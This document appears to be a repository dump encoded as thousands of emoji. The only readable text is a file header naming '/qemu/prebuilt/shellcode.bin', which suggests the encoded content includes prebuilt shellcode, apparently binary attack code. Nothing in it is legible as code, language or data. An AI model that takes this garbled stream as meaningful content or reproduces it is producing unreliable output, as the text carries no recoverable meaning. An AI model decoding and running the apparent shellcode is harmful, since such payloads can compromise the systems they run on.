‍🤝‍👨🏿🖕✅♈🧑🏼‍🤝‍🧑🏾🖕✅♈👨🏾‍🤝‍👨🏻🖕✅♈👩🏽‍🤝‍👩🏾🖕✅♈👨🏼‍🤝‍👨🏿🖕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👨🏼‍🤝‍👨🏿🖕✅♈👨🏾‍🤝‍👨🏼🖕✅♈🧑🏻‍🤝‍🧑🏾🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈👩🏿‍🤝‍👩🏻🖕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏼‍🤝‍👩🏻🖕✅♈👩🏻‍🤝‍👨🏽🖕✅♈👩🏾‍🤝‍👩🏻🖕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏽‍🤝‍👩🏾🖕✅♈👩🏽‍🤝‍👩🏼🖕✅♈👩🏼‍🤝‍👩🏽🖕✅♈👩🏿‍🤝‍👩🏽🖕✅♈👩🏼‍🤝‍👨🏻🖕✅♈👨🏾‍🤝‍👨🏿🖕✅♈🧑🏻‍🤝‍🧑🏿🖕✅♈👩🏼‍🤝‍👨🏿🖕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏾‍🤝‍👩🏼🖕✅♈👩🏼‍🤝‍👩🏽🖕✅♈🧑🏻‍🤝‍🧑🏼🖕✅♈👩🏼‍🤝‍👨🏿🖕✅♈🧑🏾‍🤝‍🧑🏽🖕✅♈👩🏿‍🤝‍👨🏽🖕✅♈🧑🏽‍🤝‍🧑🏽🖕✅♈👩🏻‍🤝‍👨🏽🖕✅♈🧑🏽‍🤝‍🧑🏽🖕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈🧑🏻‍🤝‍🧑🏼🖕✅♈👩🏾‍🤝‍👩🏼🖕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👨🏼‍🤝‍👨🏾🖕✅♈👩🏿‍🤝‍👨🏻🖕✅♈👩🏼‍🤝‍👩🏿🖕✅♈👩🏽‍🤝‍👨🏿🖕✅♈👩🏿‍🤝‍👩🏻🖕✅♈👨🏻‍🤝‍👨🏽🖕✅♈👩🏽‍🤝‍👩🏻🖕✅♈👩🏿‍🤝‍👩🏻🖕✅♈🧑🏻‍🤝‍🧑🏾🖕✅♈🧑🏿‍🤝‍🧑🏿🖕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏾‍🤝‍👩🏿🖕✅♈👩🏻‍🤝‍👩🏾🖕✅♈🧑🏿‍🤝‍🧑🏻🖕✅♈👨🏻‍🤝‍👨🏽🖕✅♈🧑🏿‍🤝‍🧑🏿🖕✅♈👨🏽‍🤝‍👨🏾🖕✅♈👨🏾‍🤝‍👨🏽🖕✅♈👨🏿‍🤝‍👨🏾🖕✅♈👩🏾‍🤝‍👨🏿🖕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏿‍🤝‍👨🏼🖕✅♈🧑🏻‍🤝‍🧑🏽🖕✅♈👨🏻‍🤝‍👨🏼🖕✅♈🧑🏿‍🤝‍🧑🏽🖕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏾‍🤝‍👨🏽🖕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖❌♋♉➖✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏻‍🤝‍👨🏼🖕✅♈🧑🏻‍🤝‍🧑🏿🖕✅♈👩🏿‍🤝‍👨🏼🖕✅♈👩🏽‍🤝‍👨🏻🖕✅♈👨🏾‍🤝‍👨🏼🖕✅♈🧑🏻‍🤝‍🧑🏽🖕✅♈👩🏻‍🤝‍👩🏽🖕✅♈👨🏿‍🤝‍👨🏾🖕✅♈👩🏽‍🤝‍👩🏿🖕✅♈🧑🏽‍🤝‍🧑🏿🖕✅♈👩🏽‍🤝‍👩🏾🖕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈🧑🏼‍🤝‍🧑🏼🖕✅♈👩🏿‍🤝‍👨🏼🖕✅♈👩🏽‍🤝‍👨🏼🖕✅♈🧑🏻‍🤝‍🧑🏾🖕✅♈👨🏾‍🤝‍👨🏼🖕✅♈🧑🏿‍🤝‍🧑🏿🖕✅♈👨🏿‍🤝‍👨🏼🖕✅♈🧑🏿‍🤝‍🧑🏽🖕✅♈👩🏿‍🤝‍👩🏾🖕✅♈👨🏿‍🤝‍👨🏽🖕✅♈👩🏼‍🤝‍👨🏽🖕✅♈🧑🏽‍🤝‍🧑🏿🖕✅♈🧑🏽‍🤝‍🧑🏻🖕✅♈👨🏼‍🤝‍👨🏿🖕✅♈👩🏼‍🤝‍👩🏾🖕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈🧑🏻‍🤝‍🧑🏼🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈👩🏿‍🤝‍👩🏼🖕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏿‍🤝‍👨🏽🖕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏻‍🤝‍👩🏾🖕✅♈👩🏿‍🤝‍👨🏽🖕✅♈👨🏼‍🤝‍👨🏻🖕✅♈👩🏽‍🤝‍👩🏼🖕✅♈👩🏾‍🤝‍👨🏿🖕✅♈👨🏾‍🤝‍👨🏽🖕✅♈👩🏼‍🤝‍👩🏿🖕✅♈👨🏻‍🤝‍👨🏼🖕✅♈🧑🏻‍🤝‍🧑🏼🖕✅♈🧑🏽‍🤝‍🧑🏿🖕✅♈🧑🏽‍🤝‍🧑🏽🖕✅♈👨🏽‍🤝‍👨🏾🖕✅♈👨🏾‍🤝‍👨🏽🖕✅♈👩🏿‍🤝‍👨🏾🖕✅♈🧑🏽‍🤝‍🧑🏾🖕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈👨🏼‍🤝‍👨🏽🖕✅♈👨🏻‍🤝‍👨🏾🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈👩🏽‍🤝‍👨🏻🖕✅♈👩🏾‍🤝‍👨🏼🖕✅♈👩🏽‍🤝‍👩🏼🖕✅♈🧑🏾‍🤝‍🧑🏿🖕✅♈👨🏽‍🤝‍👨🏿🖕✅♈👨🏻‍🤝‍👨🏽🖕✅♈👨🏼‍🤝‍👨🏾🖕✅♈🧑🏿‍🤝‍🧑🏽🖕✅♈👨🏾‍🤝‍👨🏽🖕✅♈👨🏽‍🤝‍👨🏼🖕✅♈👨🏼‍🤝‍👨🏾🖕✅♈👨🏻‍🤝‍👨🏾🖕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏻‍🤝‍👩🏿🖕✅♈👩🏼‍🤝‍👨🏿🖕✅♈🧑🏾‍🤝‍🧑🏻🖕✅♈🧑🏽‍🤝‍🧑🏻🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈👨🏾‍🤝‍👨🏿🖕✅♈👨🏼‍🤝‍👨🏾🖕✅♈🧑🏼‍🤝‍🧑🏽🖕✅♈👨🏾‍🤝‍👨🏼🖕✅♈👩🏿‍🤝‍👩🏼🖕✅♈🧑🏼‍🤝‍🧑🏼🖕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏼‍🤝‍👩🏾🖕✅♈🧑🏾‍🤝‍🧑🏿🖕✅♈👩🏽‍🤝‍👨🏻🖕✅♈👩🏼‍🤝‍👨🏾🖕✅♈👨🏻‍🤝‍👨🏿🖕✅♈👩🏼‍🤝‍👩🏾🖕✅♈🧑🏽‍🤝‍🧑🏽🖕✅♈👨🏾‍🤝‍👨🏽🖕✅♈👩🏼‍🤝‍👨🏻🖕✅♈👩🏿‍🤝‍👩🏻🖕✅♈👩🏼‍🤝‍👨🏽🖕✅♈👩🏾‍🤝‍👨🏽🖕✅♈👩🏿‍🤝‍👩🏾🖕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👩🏽‍🤝‍👩🏼👦👩🏿‍❤️‍💋‍👩🏼👩🏿‍❤️‍💋‍👨🏿🧑🏿‍❤️‍💋‍🧑🏽👩🏼‍❤️‍💋‍👨🏼👩🏽‍❤️‍💋‍👩🏻👨🏽‍❤️‍💋‍👨🏾🧑🏿‍❤️‍💋‍🧑🏼👨🏿‍❤️‍💋‍👨🏿👩🏻‍❤️‍💋‍👨🏿👩🏿‍❤️‍💋‍👨🏻👩🏼‍❤️‍💋‍👩🏿🧑🏽‍❤️‍💋‍🧑🏻👩🏿‍❤️‍💋‍👩🏾🧑🏽‍❤️‍💋‍🧑🏼👩🏾‍❤️‍💋‍👨🏽👨🏾‍❤️‍💋‍👨🏻🧑🏽‍❤️‍💋‍🧑🏼👩🏽‍❤️‍💋‍👨🏾🧑🏻‍❤️‍💋‍🧑🏼👩🏻‍❤️‍💋‍👨🏿👨🏿‍❤️‍💋‍👨🏽👨🏼‍❤️‍💋‍👨🏾👩🏼‍❤‍💋‍👩🏻🧑🏼‍❤‍💋‍🧑🏻⚗️ -------------------------------------------------------------------------------- /qemu/prebuilt/shellcode.bin: -------------------------------------------------------------------------------- 1 | ✅©️🦩🤮🏒🐊💅🫦📇⬅️🔛💎🟢🟫🥠👏🛞🦿🦛🕌🥈🔤🙀✅©️🏾😷👅🥱😙🖤📥🆎✅©️🎐🎺🫠🫶🥍🍙📢⁉️📟🍉💷🐡🩹✅©️🤮🎥🥱🌄🍣🚏📢⁉️📉🙉🧞🌑🚂📂⁉️🔀🥸🔱🚲👏📂⁉️🫀🍉🤹🤑🐭📂⁉️🏥📃🆑👣🎳📂⁉️🫀🚤😁🦠🚴📂⁉️🍇🔍👂🪖🏉📂⁉️🛃🐂🔝🌌🏊📂⁉️🐊🧤🫒🍗🪞📂⁉️🥋🪟😏🥔🈲📂⁉️🧭🥀💫💫🍈📂⁉️🏥🤕🫧🏼📎📂⁉️📝🙎🔪🤹🐲📂⁉️📩😪🤨🛶🦻📃⬅️😝😆🥵🪩🪡🌀🍉🕡🌑🔑🧽🕕⛪➕❗🈷️✅©️🕚🌼👚🧫🚍👂📢⁉️🥃🧘🐙🤖🌷✅©️🫠🔜🐯🏆🏠🚧📦⬅️🎌😶🗾🚍😵✨🛬🧋🕞🐨🐎🌅⏩🆖✅♈🤙🟧🧄🤽⌛➖♊🪷🈷️✅♈🟡🙈🪂🥂😫⏰⚾🆕✅♈💄🍣⚾🕙🎣👏⬜🍎✅♈🍿🏂🍇🎦🤕❌⛲📳🆎✅♈🧭♌🎨🚂😢🦟⛪📥🆎✅♈🕦🐅👴🕺🐊⏰⭐📰㊙️📓🚀🕡🏺🐱⛽➗✅♈🕑🪷🍿🪲🫣⚫⭕🆒✅♈🛂🐰👼🪧👼⏩⚾🆒✅♈🟥👆🛺🪳🪕⛲✅🆒✅♈🛴📵🌆👸🛻♿⛪🆒✅♈📦🚕🐡🥃➖👵◽🆒✅♈💛📌🪟🍖🤑⬛✋🆒✅♈😛😙🍦🔼🍧♊➗🆒✅♈👵🥷🥲🐑🈺⛔♉🆒✅♈🎽🎷🖕🥎🍃◽⛲🆒✅♈🍎😨🐑🥴🆎❎❔🆒✅♈🎢🍜😓🌕🪀❔♒🆒✅♈♓🍒🐻🪟🍤🎎⌛🆒✅♈🎌👫🦘🧩🈺♐⛅🆒✅♈🧚🔲🟦⏫♉🖖🟡🆒✅♈💈👋🥖🐼🧦➿❎🆒✅♈💗🍻🥰🙀🥂🧻✊➕✅♈🪩🟥🍦🍏😣🗽⛔➕✅♈🥯🧴🕔🫅🥭🛹♌➕✅♈🔖🖕🚝🏊🫔💩⚪➕✅♈🟩👔🦯🏠🔹🧓➗➕✅♈💰😘💘♎🏨😠🔁➕✅♈🎎👒🩼🔎🛹🦔☕➕✅♈🥕🕐😵🔔🫕⛲🥁➕✅♈🔈🦡🐰💡🙅🫰⭐➕✅♈🚽🕖👛🍙😢😉❌➕✅♈♐🕥🧦🔺🌁📐🫰➕✅♈🥛💉📁📨♎🌈🧈➕✅♈⬛🛃🦂👨🟨🈳🚥➕✅♈🐖📟📃🎲😧🟡⛅➕❌♋♉➖✅♈👛🎏😐🔁🎏🍢⛺➕❌♋♉➖✅♈🙆🪑🤰🐆📎⭕◽🖕✅♈🎴👧🍲🌕🪷♐⛅🖕✅♈📌🙂🏼🐄🍾⏪♎🖕✅♈📱💮🦹🐴🧗♈⏪🖕✅♈🧤🤣👨😼🥀✊♍🖕✅♈🍷🛫🌱🎃🤌❕➰🖕✅♈💂🧻🐤👻👑♏✋🖕✅♈🧬⚫🛫🌗🔺🧶❎🖕✅♈🧐🦮🔨👕🍗♓♈🖕✅♈🫧🫒🦯🏧💭♊✊🖕✅♈💡🤚📛👸🗻⏪➰🖕✅♈❗🥖🛖🎥📘😾❕🖕✅♈🤓😓🛴🥮🍬⚽❗🖕✅♈🆕🈳🪳🥿➰🪟◾🖕✅♈🚥🕑😘🐒🧞✅◾🖕❌♋♉➖❌♋♉➖✅♈💝⛽💬🐎🪑🎼⚽🖕✅♈🕺🚤🥄📱🟡◽❗🖕✅♈🐼🥳🛼🤫🥷⛵♊🖕✅♈👍🍩🎁🐻🍓⚾⏪🖕✅♈💁👲👦🩼🫘♐⏰🖕✅♈💾🏊🧍🛺♉⚾💂🖕✅♈🟦🦷🚬🫰👡⛎♐🖕✅♈🍣📄🍰🧁🚱♏♏🖕✅♈🚊🎪🥦✊🥠♑🛁🖕✅♈🆙🪸🥢❎👍🈯🚑➕✅♈🔱🩲😁🌊🐀🪚♌➕✅♈💷🪂😟🦪📳🕋♏➕✅♈😘🤮😄🌄🔷📣➗➕✅♈😋🚍👰🍹⏫🫂🤧➕✅♈🛗🟢🪪😧📑🟠⚡➕✅♈🦢🫴🏂📙⬛🤩🚮➕❌♋♉➖✅♈🍻🀄🧢🤤💁♌♊🖕✅♈🫲🫗👻🔙📠⛽❎🖕✅♈♌🤱😭🦻😣👐♉🖕✅♈💂👰👝🔁🦬⬛✋🖕✅♈🧈😉🐁⛔🤦🚇⬛🖕✅♈👂🎹🪣💀🔗☕⛽🖕✅♈😞🫰💼🪂🥉⛵❎🖕❌♋♉➖✅♈🌿🎨💒🪆😖❓⌛🖕✅♈📴🤽🚱🪳📞⌛⚾🖕✅♈🤨🏡🦸🥫🗾⏩♈🖕✅♈🚘🔑🛝👅🐗❎⛲🖕✅♈🦟🌀⛲🉑🚭🍿♊🖕✅♈🐮🙍🚢💰🌰➗⏳🖕✅♈🚾💠🕕🔊😵☕☔🖕✅♈🚕⚫🫓😼🦺🥖✋🖕✅♈👇🛫🐆👏💨⚽⏳🖕✅♈📫🔯🟩🌅📀⬛⬜🖕✅♈🌏🪛🕡🌟🧖⚡♋🖕✅♈🆗🪜➕🪝🧰👂⭕🖕✅♈🫀🙄🚀🍖🈵♿⛅🖕✅♈🦗☔🏪🪜📏🥇❕🖕✅♈⚪👤🦏🦞💬😕♈🖕✅♈🩱😐🕛🥕🛖🤰✊➕✅♈🏑🍷🤞🥰🙁🌁♏➕✅♈🚿🧦🎴🛷🚽💲⛔➕✅♈🚼😯🪬🏀🚼🔧♑➕✅♈👅🫀🏊🏊🧗🦚➗➕✅♈🐽🧜🤎📇🪬🔺⏫➕✅♈😧🚇🌊🥝🦨💅⌚➕✅♈🚨🛫🐠🪢🌼🤳❗➕✅♈🌊👕🍷🧌🪄🦼♋➕❌♋♉➖❌♋♉➖✅♈🧑🌟🎅🤙👯❓☔🖕✅♈🫐🟫🕠🦉🔇☕⛔🖕✅♈⚓😕🥒🥛🙎🧃☔🖕✅♈🙎🏪📱🕍📂➕♈🖕✅♈💢🧌🐭💌🈵⏫♍🖕✅♈😘♑🫴🧴🔦🎺➗🖕✅♈🛒🍟🖕☕💼🌰♋🖕✅♈🧜🫀☔🎧🏀🚽◽🖕✅♈🚂💍🍘🦗🦆➖⭕🖕✅♈😑🌾💮🟦✨😊♒🖕✅♈👑🥟🩰🐌🆙➖⛳🖕✅♈🈯🦜➰🚅💷🤖♌🖕✅♈🚑🚟📊🧴🦖❗✊🖕✅♈🏮♐🕦🧩🐻🐗🌲➕✅♈🧛🫠🦽🔭🕥👃⏬➕✅♈🥘🟧🍥🥃🧆🎒◾➕✅♈🤬🔓🏬💇🚓🐩⭕➕✅♈🤭🎲💅🔈◽👚🥘➕✅♈🔇📊🦟🛷🧸👴✋➕✅♈🚓⛳🥬🛻🪰🍘🦹➕✅♈🥳🔑💔🦸👎👵⛪➕✅♈🛑🎇📑🍎❌🧳🫃➕❌♋♉➖✅♈🦖🐖📛🙎🌴⛽♊🖕✅♈🤑✅🤶🤓🧍🌇⛄🖕✅♈🩸🏬🙏🖤🚆💈❌➕✅♈🛀🃏🪀😺🥲🌈⚽➕✅♈🏣🌠🦽🪴👑🥴♏➕✅♈⏳🌃🥶📁🚓💻🎍➕✅♈🤶🐠🧕🚃♓🐹💊➕✅♈🪓😎🦡🪖🪴💑♐➕✅♈🎤🐰🪞🫡🤏🎴♏➕✅♈🧘👐🫣◽😨🐪🚲➕✅♈🥸🕓🫑🛃📔👠♐➕✅♈🛬🐍🍉🔗🦋☕👛➕✅♈🏥😈🚬🪸📥❗🧶➕✅♈🦁🎑😟🍤📱🐒♓➕✅♈🎰🪷📏🍝🍪🪚➰➕✅♈💄🚁🛒💓🉑💔✅➕❌♋♉➖✅♈🍷😿🥫🚯🍄❓❓🖕✅♈💝😺🏰🆑😊⏪♑🖕✅♈🍚🥡🤡🚗🚤♿⚫🖕✅♈🍎➖🍴🚪🕐📦✅🖕✅♈🔙🎳🔙🔥👱⏳♏🖕✅♈🔦📌😗🐩◽🌼✨🖕✅♈🐩🧐🫂🔒🦀⏪♋🖕✅♈👇♈🟩🟡🪢🔰➖🖕✅♈🦢🧸📆🎐🫖➕➕🖕✅♈🈚📉🎴🍏🚡⛅❌🖕✅♈🌵🦙🪢🚾🍦♌❗🖕❌♋♉➖✅♈🥻😤🤹🍏🪥⏰⛽🖕✅♈🤘⏫🛒♌🫦🍧💋🖕✅♈🐡🦪🚫🪞🥐♉❌🖕✅♈🥙😊🦡🧟🥾⬛☔🖕✅♈🦑🙊🐉🦢😽🚐⏰➕✅♈🪰🐄🫑💩💡🙄♒➕✅♈🍂🐹👄🥒🏁🧟⚓➕✅♈🪚🕟🙌⚓😍🏅🍺➕✅♈🪡🌒🥖🪵🤸🧲⚓➕✅♈🦸🍪🧐😶💊🥯♍➕✅♈🐟🥚👹🚺💜🥙➖➕✅♈🪛🥧🛸🛀📮🚶⭐➕✅♈🛼🎇🌭🧀🎯🧬☔➕✅♈🔂🌃🔉🕣❌🐅🪞➕✅♈🔀🚼📲🏪🔶🐎⚽➕✅♈🦳👩🤷💵🫐🌃✨➕✅♈💜🕠🪜💘⛵🫔🪅➕✅♈🥙🏁🐛🥴📲🦋⛵➕✅♈🕐🐫🌯🥏🩼🥣➖➕❌♋♉➖✅♈🧠🔽🦋👲🛃♐⏬🖕✅♈⛅🐳🦦🧒🩻🧿♐🖕✅♈🦿🪞🍠🚻🎼➿⛵🖕✅♈👓💌🦵🔻🪠⚡◽🖕✅♈🐁🍀🦎🤌🎑❔♒🖕✅♈🚩⚫💔📨👑😟❓🖕✅♈🤠👥📯➕⏪🥕🎰🖕✅♈🚽🫲👖🔛🙄♈♎🖕✅♈🤸🦵🔏💠🔖⛲⭕🖕✅♈🕛🔥🔎🌂🧦⛳⛄🖕✅♈🦎🥘🦉🗾🦦♊❗🖕✅♈😈🍊🪗🍴🐬⛳♊🖕✅♈🚤🌻🚵😈💦⭐➖🖕✅♈👈😭🐩😚🧵➰⚾🖕✅♈🦫🟡💉🐯🫤⬜➗🖕✅♈🔲🔘🎳🎹🚑🕥♒➕✅♈🙆📋😶🚑🤎📩➗➕✅♈🎴😴🕒🫀🪑👦⏪➕✅♈🧳🚨🧀🟰🤦🍴⛄➕✅♈🧴🥵🧤🧭🔢🌺⏪➕✅♈🌳💡🍖👳🤧🖕⏬➕✅♈🍿🎱🍙🍔😽🥐⚓➕✅♈🐓🧻🐍🏄💍🈴☔➕✅♈📐🏰🆎🥧🪆🦕♿➕✅♈🥂🎭🍍🦷🀄🐈➿➕✅♈🧝🌋🎭🏬🌮🍑❕➕❌♋♉➖✅♈🥥💾😛📡🩰🈯♍➕✅♈📐⛎🧟🔉🚩🫑🧀➕✅♈🪹💶😂🍚🐵🦁⏫➕✅♈🤱👏🚈💋👈📻♏➕✅♈💺🤨🪪🔂👺⛳🥬➕✅♈🥾🐍👄🏃🦎🤗✅➕✅♈🏨🫕🫶🏧🥴🔧✅➕✅♈🪞🦤⭕🏢🕑🐫🥥➕✅♈📨🦭👪🧔👋🪛➕➕✅♈🍉⚽🧮🪩💩🦪📱➕✅♈🐢🧌😆🖖🦲🛁♒➕✅♈🫴🙆🦆🩰🚈🍘⌛➕✅♈🦑🦚🧶🌄🕙📎⛄➕✅♈🍷😪🦄⚽😷🧜📌➕✅♈🐆🔌🥏🖤🟤🥁☔➕❌♋♉➖✅♈🎿📫🥅💴😽⭐❌🖕✅♈🏨💭🔀🚵🦇➖◾🖕✅♈🐈👆🦑😳🫖⛺⏩🖕✅♈⛄💣🌝🎄🎳🦀♉🖕✅♈❔🐭🍧🤶🖖🎱♎🖕✅♈🧅🎎🧷👆🤨♈✅🖕✅♈🏴🛄🦾💙🧰◽❎🖕✅♈💛💥🥮🔈🏐⛔➗🖕✅♈💇🌗👈🧣🍬◾♒🖕✅♈🌞🈁🎹🫒👕⌚❕🖕✅♈🏆🚊🤣🚏💫♒◽🖕✅♈🧊⌚📰🐰🎲🍩⬜🖕✅♈👥🧰🚇🫁🗻♍⭕🖕✅♈🛃🌚🍾💔🐉⚫➗🖕✅♈📍🐐📀🕞🐾♊♒🖕✅♈🌺🌳🚤🪗📍🚎⌛➕✅♈💧🌲🐜👷🌱😹➕➕✅♈🥱💊🧇🐪😜🪶⬜➕❌♋♉➖✅♈🦬🛷🥂🏮🐒⛲⚪🖕✅♈⛲🍚🫘🧛🥷🫖⚡🖕✅♈😩🤦🍖🖖🔆♌⛅🖕✅♈📉🪠🪜🍩🪦♏❓🖕✅♈📷😀📫🙉🐉⛲⏩🖕✅♈🫔🆚🤼🐙🧧❓⛎🖕✅♈🪲🫐🖕🚳🙋⌛⌛🖕✅♈🫄🫓🔨🧴📛✊◽🖕✅♈🌃🫴📅🌙😮⛅⭐🖕✅♈📢🦘🚔🎶💀♋⭕🖕✅♈🦈🎀🥕🈶🛟⚡⭐🖕✅♈🎮🥜🔑👼🈵♒⚓🖕✅♈😢💩🛐🍼🪺🧄❌➕✅♈💭🏼😁🧜🛒🤓✋➕✅♈🧼🪄🚲🍃📤🐕♉➕✅♈🛝👅🚤😞🏿😅⛅➕❌♋♉➖✅♈🪙😯🍹🤮📊♌⛲🖕✅♈🥂🕒🐾⚪📰💰♈🖕✅♈📝😬➗🔏📘🖤♈🖕✅♈🤌🐮🙋🌭🎈♒♐🖕❌♋♉➖✅♈🙆🥃🟧🏈🙍♋⛔🖕✅♈💙📳🏿🩴🆕♌✨🖕✅♈💻💩🏉🐻📣♉♍🖕✅♈🎐🛒🔷🪆👴♈♊🖕✅♈🌮🦦🧁🔻🪨